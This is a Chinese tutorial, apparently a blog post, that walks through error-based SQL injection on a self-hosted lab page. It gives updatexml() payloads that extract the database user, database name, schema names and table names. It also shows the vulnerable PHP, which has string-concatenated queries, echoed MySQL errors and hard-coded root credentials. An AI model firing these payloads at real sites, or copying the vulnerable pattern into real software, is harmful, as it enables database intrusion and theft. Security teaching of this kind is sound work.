测试网站:自建靶场 http://192.168.57.128:1237/sql/error.php?username=1
测试工具:Burp Suite
1.首先访问http://192.168.57.128:1237/sql/error.php?username=1’,因为参数username的值是1’,在数据库中执行SQL时,会因为多了一个单引号而报错,输出结果如下所示:![在这里插入图片描述](https://img-blog.csdnimg.cn/20210716094555274.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA5Nzcy,size_16,color_FFFFFF,t_70#pic_center)
通过页面返回的结果可以看出,程序直接将错误信息输出到了页面上,所以此处可以利用报错注入来获取数据。
2.报错注入有多种格式,此处使用updatexml()演示SQL语句获取user()的值,SQL语句如下所示。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
输出结果如下所示:
3.尝试获取数据库名,构造的sql语句如下:
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
输出结果如下所示:
4.继续利用利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句。构造的语句如下所示。
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
5.继续获取security数据库的表名,SQL语句构造如下:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
输出结果如下所示:
6.报错注入代码分析:
<?php
$con=mysqli_connect("192.168.57.128","root","123","security");
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
在报错注入页面中,程序获取GET参数username后,将username拼接到 SQL语句中,然后到数据库查询。如果执行成功,就输出ok;如果出错,则通过echo mysqli_error ($con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误)。输入username=1’时,SQL语句为:
select * from users where `username`='"1’"'
执行时,会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor () ,updatexml ()等函数将要查询的内容输出到页面上。